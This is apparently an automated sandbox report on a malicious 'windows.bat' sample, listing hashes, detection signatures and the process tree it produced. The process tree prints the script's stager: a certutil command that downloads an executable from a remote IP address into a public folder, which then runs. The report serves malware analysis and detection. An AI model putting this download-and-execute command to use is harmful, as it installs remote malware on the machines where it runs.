Analysis
- max time kernel
105s - max time network
150s - platform
windows11-21h2_x64 - resource
win11-20250502-en - resource tags
arch:x64arch:x86image:win11-20250502-enlocale:en-usos:windows11-21h2-x64system - submitted
09/08/2025, 01:53
Static task
static1
Behavioral task
behavioral1
Sample
windows.bat
Resource
win10v2004-20250610-en
windows10-2004-x64
5 signatures
150 seconds
Behavioral task
behavioral2
Sample
windows.bat
Resource
win11-20250502-en
windows11-21h2-x64
5 signatures
150 seconds
General
- Target windows.bat
- Size 508B
- Sample250809-cbbkva1tdt
- SHA256 edb78feaf181bb95329db37838d7749be89dde6ef84d1cac600b650a4b346d21
- MD5 35924ec40514d5e4faa4ea65cfe6b2c8
- SHA1 8295144adb2f17f558bbfb1fcab75387ab558f91
- SHA512 6f090d9307ceb5f535a4466b2155d3a6a9e9363d84a35377cb4c40238a692601d1a47fd08e511c67ef074c59d7af8d15d24431fb06a7111511bb7314f18fff2f
- MD5 SHA1 SHA512
Score
8/10
Malware Config
Signatures
- Downloads MZ/PE file 2 IoCs
flow pid Process 1 2612 certutil.exe 2 2612 certutil.exe - Executes dropped EXE 1 IoCs
pid Process 4176 554565d6tcp.exe - Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 4176 554565d6tcp.exe - Suspicious use of AdjustPrivilegeToken 43 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 1408 WMIC.exe Token: SeSecurityPrivilege 1408 WMIC.exe Token: SeTakeOwnershipPrivilege 1408 WMIC.exe Token: SeLoadDriverPrivilege 1408 WMIC.exe Token: SeSystemProfilePrivilege 1408 WMIC.exe Token: SeSystemtimePrivilege 1408 WMIC.exe Token: SeProfSingleProcessPrivilege 1408 WMIC.exe Token: SeIncBasePriorityPrivilege 1408 WMIC.exe Token: SeCreatePagefilePrivilege 1408 WMIC.exe Token: SeBackupPrivilege 1408 WMIC.exe Token: SeRestorePrivilege 1408 WMIC.exe Token: SeShutdownPrivilege 1408 WMIC.exe Token: SeDebugPrivilege 1408 WMIC.exe Token: SeSystemEnvironmentPrivilege 1408 WMIC.exe Token: SeRemoteShutdownPrivilege 1408 WMIC.exe Token: SeUndockPrivilege 1408 WMIC.exe Token: SeManageVolumePrivilege 1408 WMIC.exe Token: 33 1408 WMIC.exe Token: 34 1408 WMIC.exe Token: 35 1408 WMIC.exe Token: 36 1408 WMIC.exe Token: SeIncreaseQuotaPrivilege 1408 WMIC.exe Token: SeSecurityPrivilege 1408 WMIC.exe Token: SeTakeOwnershipPrivilege 1408 WMIC.exe Token: SeLoadDriverPrivilege 1408 WMIC.exe Token: SeSystemProfilePrivilege 1408 WMIC.exe Token: SeSystemtimePrivilege 1408 WMIC.exe Token: SeProfSingleProcessPrivilege 1408 WMIC.exe Token: SeIncBasePriorityPrivilege 1408 WMIC.exe Token: SeCreatePagefilePrivilege 1408 WMIC.exe Token: SeBackupPrivilege 1408 WMIC.exe Token: SeRestorePrivilege 1408 WMIC.exe Token: SeShutdownPrivilege 1408 WMIC.exe Token: SeDebugPrivilege 1408 WMIC.exe Token: SeSystemEnvironmentPrivilege 1408 WMIC.exe Token: SeRemoteShutdownPrivilege 1408 WMIC.exe Token: SeUndockPrivilege 1408 WMIC.exe Token: SeManageVolumePrivilege 1408 WMIC.exe Token: 33 1408 WMIC.exe Token: 34 1408 WMIC.exe Token: 35 1408 WMIC.exe Token: 36 1408 WMIC.exe Token: SeDebugPrivilege 4176 554565d6tcp.exe - Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 2080 wrote to memory of 780 2080 cmd.exe 79 PID 2080 wrote to memory of 780 2080 cmd.exe 79 PID 780 wrote to memory of 1408 780 cmd.exe 80 PID 780 wrote to memory of 1408 780 cmd.exe 80 PID 780 wrote to memory of 1348 780 cmd.exe 81 PID 780 wrote to memory of 1348 780 cmd.exe 81 PID 2080 wrote to memory of 2612 2080 cmd.exe 83 PID 2080 wrote to memory of 2612 2080 cmd.exe 83 PID 2080 wrote to memory of 4176 2080 cmd.exe 84 PID 2080 wrote to memory of 4176 2080 cmd.exe 84
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\windows.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2080 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic os get osarchitecture | findstr 642⤵
- Suspicious use of WriteProcessMemory
PID:780 -
C:\Windows\System32\Wbem\WMIC.exewmic os get osarchitecture3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1408
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C:\Windows\system32\findstr.exefindstr 643⤵PID:1348
-
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C:\Windows\system32\certutil.execertutil.exe -urlcache -split -f "http://196.251.86.142:28571/?h=196.251.86.142&p=28571&t=tcp&a=w64&stage=true" "C:\Users\Public\554565d6tcp.exe"2⤵
- Downloads MZ/PE file
PID:2612
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C:\Users\Public\554565d6tcp.exe"C:\Users\Public\554565d6tcp.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4176
-
Network
MITRE ATT&CK Matrix
Replay Monitor
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Downloads
- Path C:\Users\Public\554565d6tcp.exe
- Size 3KB
- SHA256 c373be374ca2e92cb015dca9e571f89103be65d12e6af224c94ac033c208761e
- MD5 0ca5132a4218bc3b39c08b22e4bdc0c3
- SHA1 735fc9cb33e6f29552a8ce448c117e910e0c4d92
- SHA512 0bc5240004e45131323810b3e07db0d506c582e47795601842dcaefb62d55733bc1c11009bd881fa27039a76237e65ce067cd3fd21ecf1cf80bfb5c87f889584
- MD5 SHA1 SHA512